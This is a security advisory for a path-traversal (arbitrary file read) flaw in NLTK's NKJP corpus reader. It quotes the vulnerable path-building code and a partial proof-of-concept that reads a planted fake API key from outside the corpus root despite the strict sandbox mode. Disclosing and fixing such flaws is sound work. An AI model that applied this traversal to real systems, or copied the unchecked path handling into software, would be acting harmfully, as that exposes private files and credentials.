NLTK: arbitrary file read
High7.5CVE-2026-12072 · Published Jul 31, 2026 · updated Sep 10, 2026
### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox , including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```pyth...
Affected versions
| Package | Affected | Fixed in |
|---|---|---|
| nltk PyPI | < 3.10.0 | 3.10.0 |
Details and references
### Summary A path-traversal vulnerability in `NKJPCorpusReader` allows an attacker who can influence the `fileids` argument of its public read methods (`header`, `raw`, `words`, `sents`, `tagged_words`) to read files outside the corpus root. The reader builds the file path with no containment check and opens it with the builtin `open()`, so it bypasses NLTK's `nltk.pathsec` sandbox , including the strict `ENFORCE = True` mode that `SECURITY.md` recommends for web/multi-tenant deployments. `header()` returns the parsed content of the out-of-root file to the caller (arbitrary file read). ### Details `SECURITY.md` promises that file access is "validated against allowed NLTK data directories" and that with `nltk.pathsec.ENFORCE = True` "unauthorized file access … will raise `PermissionError`." That guarantee is enforced via `FileSystemPathPointer.open()` / `CorpusReader.open()`, which call `nltk.pathsec.validate_path(...)`. `NKJPCorpusReader` never uses that protected path. In `nltk/corpus/reader/nkjp.py`: - `add_root()` builds the path by **plain string concatenation** with no normalization or containment check: ```python def add_root(self, fileid): # lines 96-102 if self.root in fileid: return fileid # attacker-controlled value returned unchanged return self.root + fileid # plain concat, '..' not stripped ``` - The header view appends a fixed basename and passes the string straight into the corpus view (which opens it with the builtin `open()`): ```python class NKJPCorpus_Header_View(XMLCorpusView): # line 181 def __init__(self, filename, **kwargs): XMLCorpusView.__init__(self, filename + "header.xml", self.tagspec) # line 189 ``` - The other modes reach the filesystem through `XML_Tool`, which uses a raw `os.path.join` (not the hardened `FileSystemPathPointer.join()`) and the builtin `open()`: ```python class XML_Tool: # line 243 def __init__(self, root, filename): self.read_file = os.path.join(root, filename) # line 251 def build_preprocessed_file(self): fr = open(self.read_file) # line 256 , pathsec never consulted ``` Because `open()` is the builtin (not `PathPointer.open()`), the `pathsec` sentinel is never invoked, so `ENFORCE = True` does not block the access. For comparison, the safe API `CorpusReader.open()` (`nltk/corpus/reader/api.py:222`) rejects `..`/absolute fileids and calls `validate_path(..., required_root=...)` before opening , `NKJPCorpusReader` simply does not go through it. ### PoC Tested against `nltk==3.9.4` (latest PyPI release) and current `develop`. ``` pip install "nltk==3.9.4" python3 poc.py ``` `poc.py`: ```python import builtins, os, shutil, tempfile, warnings warnings.simplefilter("ignore") import nltk, nltk.pathsec as pathsec from nltk.corpus.reader.nkjp import NKJPCorpusReader print("nltk", nltk.__version__) # A legitimate, empty NKJP corpus root (what a real app has). root = tempfile.mkdtemp(prefix="nkjp_corpus_root_") os.makedirs(os.path.join(root, "sample"), exist_ok=True) open(os.path.join(root, "sample", "header.xml"), "w").write("<x/>") # The attacker's target: a file OUTSIDE the corpus root. secret_dir = tempfile.mkdtemp(prefix="OUTSIDE_ROOT_") open(os.path.join(secret_dir, "header.xml"), "w").write( "<teiHeader><fileDesc><sourceDesc><bibl>" "<title>SECRET-API-KEY=sk-live-DEADBEEF</title>" "</bibl></sourceDesc></fileDesc></teiHeader>") # Enable the strict mode SECURITY.md recommends for web / multi-tenant. pathsec.ENFORCE = True print("ENFORCE =", pathsec.ENFORCE) # Prove the out-of-root read and that pathsec is never consulted. opened = []; real = builtins.open bu
- CVSS 3.1
- CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
- Severity from
- GitHub (reviewed advisory)
- Weakness
- CWE-22
- Also known as
- CVE-2026-12072, PYSEC-2026-3581
More NLTK advisories
All NLTK| Date | Advisory | Severity | Fixed in |
|---|---|---|---|
| Aug 9 | NLTK: server-side request forgery | Low3.7 | No fix yet |
| Aug 7 | A vulnerability in `nltk.downloader` in nltk/nltk versions <= 3.9.4 | Medium6.5 | 3.10.0 |
| Jul 31 | NLTK: server-side request forgery | High8.6 | 3.10.0 |
| Jul 31 | Natural Language Toolkit (NLTK): ReDoS in NLTK ReviewsCorpusReader FEATURES regex | High7.5 | 3.10.0 |
| Jul 31 | NLTK: path traversal | High7.5 | 3.10.0 |
| Jul 25 | NLTK vulnerable to Eval Injection via collocations CLI arguments | High7.8 | 3.9.3 |